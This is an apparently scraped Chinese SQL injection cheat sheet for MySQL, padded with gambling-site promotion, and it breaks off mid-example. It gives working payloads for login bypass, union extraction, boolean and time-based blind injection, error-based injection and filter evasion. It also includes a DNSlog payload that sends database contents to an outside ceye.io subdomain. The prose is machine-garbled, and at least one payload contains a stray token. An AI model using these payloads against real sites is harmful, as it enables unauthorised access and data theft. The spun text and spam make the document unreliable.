sql注入总结(一)--2018自我整顿_玖富娱乐主管发布


玖富娱乐是一家为代理招商,直属主管信息发布为主的资讯网站,同时也兼顾玖富娱乐代理注册登录地址。

SQL注入总结

媒介:

本文和以后的总结都是举行总结,细致完成历程细节可以或许不会写出来~

一切sql语句均是mysql数据库的,其他数据库可以或许有些函数分歧,然则要领大抵雷同

 

0x00 SQL注入道理:

SQL注入实质上是将用户传入的参数没有举行严厉的处置惩罚拼接sql语句的实行字符串中。

可以或许存在注入的处所有:上岸页面,搜刮,猎取HTTP头的信息(client-ip , x-forward-of),定单处置惩罚(二次注入)等

注入的参数范例:POST, GET, COOKIES, SERVER 实在只需值传到数据库的实行语句那末就可以或许存在sql注入。

注入要领:union团结查询,耽误注入,布尔型回显推断注入,将内容输出到DNSlog

 

0x01 SQL注重一样平常要领:

一般查询语句以下

mysql_query(" select username,age from userinfo where id='$_GET['id']' ");

全能暗码

' or '1'='1        //完全语句 select username,age from userinfo where id='' or '1'='1'
' or 1=1#         //完全语句 select username,age from userinfo where id='' or 1=1#'
'=0#            //完全语句 select username,age from userinfo where id=''=0#

运用union举行团结查询

xx' union select 1,(select database()) #
xx' union select (select database()),2 or '      //这里若是把查询语句放到2的地位上,由于or的干系会不克不及显现一般查询的内容

这个结果是在输出列为我们可控的 database()和'2'这2个值,那末若是登录页面的考证逻辑是以下情势

$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
  echo "登录胜利";
}
else{
  echo "登录失利";
}

 我们便可以或许经由过程下来要领组织来绕过用户名和暗码

账户:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' #      //c81e728d9d4c2f636f067f89cc14862c是2的md5值
暗码:2

运用bool回显推断注入

substr(str,start,long)

  str是待切分的字符串,start是切分肇端地位(下标从1最先),long是切分长度

if(exp1,exp2,exp3)

  若是知足exp1,那末实行exp2,否则实行exp3

注入语句

xx' or if((substr((select database()),1,1)='c'),1,0) #    //推断数据库第一个字符是不是为c

那末查询第二个字符可以或许用以下要领

xx' or if((substr((select database()),1,2)='ct'),1,0) #    
xx' or if((substr((select database()),2,1)='t'),1,0) #    

假定 , (逗号)被过滤了,可以或许用以下体式格局处置惩罚

 if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end

 substr(exp1, 1, 1) => substr(exp1) from 1 for 1

xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #

假定substr被过滤了,可以或许用以下体式格局处置惩罚

LOCATE(substr,str,pos)

  返回子串 substr 在字符串 str 中的第 pos 地位后第一次涌现的地位。若是 substr 不在 str 中返回 0

  ps:由于mysql对大小写不敏感,一切写的时刻用 locate(binary'S', str, 1) 加个binary便可

xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #

运用耽误注入

在输入不管准确的sql语句照样毛病的sql语句页面都一样的情况下可以或许运用该要领举行推断是不是胜利

延时注入的素质是实行胜利后延时几秒后再回显,反之不会延时直接回显

照样应用if来推断结果准确与否,只是返回值用延时来替代1

要领:sleep,benchmark, 笛卡尔积等(其他的我照样太菜不太会用)

基于sleep的耽误 
xx' or if
(length((select database()))>1,sleep(5),1) #
基于笛卡尔乘积运算时候形成的时候耽误 xx' or if
(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #

基于benchmark的耽误
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--也许会用2S时候

benchmark和笛卡尔积的道理实质上是运算时候太长致使的耽误

运用DNSlog举行数据回显

道理网上许多文章都有,这里轻微总结下运用技能

load_file()

  读取文件并返回文件内容为字符串。

这里先在ceye.io上注册个账号看看本身的子域名就行

xx'or if(length((select database()))>1,(select load_file(concat('\\',(select database()),'.你账号的子域名.ceye.io\a'))),1) # 

只需可以或许写select的处所,而且可以或许挪用load_file函数就可以实行

报错注入

报错注入条件是在后端代码有Exception这类非常处置惩罚的回显才能在web顶用,否则纵然能报错然则你不知道报错内容

报错注入函数许多,这里就引见两种

xx' and (updatexml(1,concat(1,(select database()),1),1))    # 用 or衔接也行
xx' and (extractvalue(1,concat(1,(select database()),1)))   # 用 or衔接也行

 

-玖富娱乐是一家为代理招商,直属主管信息发布为主的资讯网站,同时也兼顾玖富娱乐代理注册登录地址。-

0x02 SQL注入的技能:

该小结的例句照样以0x01节的原始查询语句雷同

mid切割字符串

经常会涌现回显字符串长度的限定,我们可以或许用mid来切割

mid(str, start[, length])

  str为待切割的字符串,start为从第几个地位最先,length(没有则返回背面一切)为切割长度

xxx' union select (mid((select database()),1,2))

在写到这时候,发明mid和substr作用很像,本身测试也一下可以或许在偶然"替代"substr举行bool型推断

xx' or if(mid((select database()),2,1)='t',1,0) #

hex编码与字符串

字符串在某种意义上是和它的hex值等价的,举个栗子

select * from admin where id = '1'    <===>  select * from admin where id = 0x31

在"十分困难"逃逸第一个 '(单引号)后,背面的有会有查询关键字须要单引号会损坏sql语句构造时刻用

或许一些关键字被过滤了,然则又会涌现在查询内里

可以或许被hex编码的内容必需是字符串,即'(被单引号括起来)'的内容。关键字是不克不及被编码的

应用group_concat衔接多行

 有些时刻返回值只能显现一行内容,这时候刻有2种设施

用limit一行一行的运转

用group_concat将内容连在一行一并输出

可见group_concat比limit要轻易一点,运用要领

xx' union select 1,2,(select group_concat(name,id) from admin) #

它输出花样是每一个元组用逗号离隔的(我这里email是我在做其他测试时刻瞎填的)

应用like和regexp来举行婚配

 like背面能举行隐约婚配,关键字内容为

%    => 婚配恣意个字符串

_     => 婚配一个字符

然则存在条件,被婚配的字符可以或许是select查询语句,可以或许是该表内的字段,可以或许是返回为字符串的函数好比database()

xx' or database() like 'c%' #
xx' or database() like 'ct_' #
xx' or name like 'siji%' #
xx' or (select dd from uesrinfo) like 'h%' #

在某种程度上regexp和like的结果差不多,然则它是支撑正则表达式

xx' or database() like '^c.f$' #

 然则如许不轻易,测试一下后发明可以或许用这个要领逐一婚配

xx' or name regexp '^s$*'
xx' or name regexp '^si$*'

mysql的GBK致使的宽字节注入

由于gbk是2个字节为一个编码,而我们若是把字符用url编码后%xx是一个字节,%xx%xx才透露表现一个gbk编码。在post或许get传参的时刻会自动举行一次url解码

罕见的过滤为addslashes(str)会把 ' 转义为 ' 致使注入失利

那末在宽字节注入的时刻

xx' union select 1,2,database() #     //是会被阻拦的
xx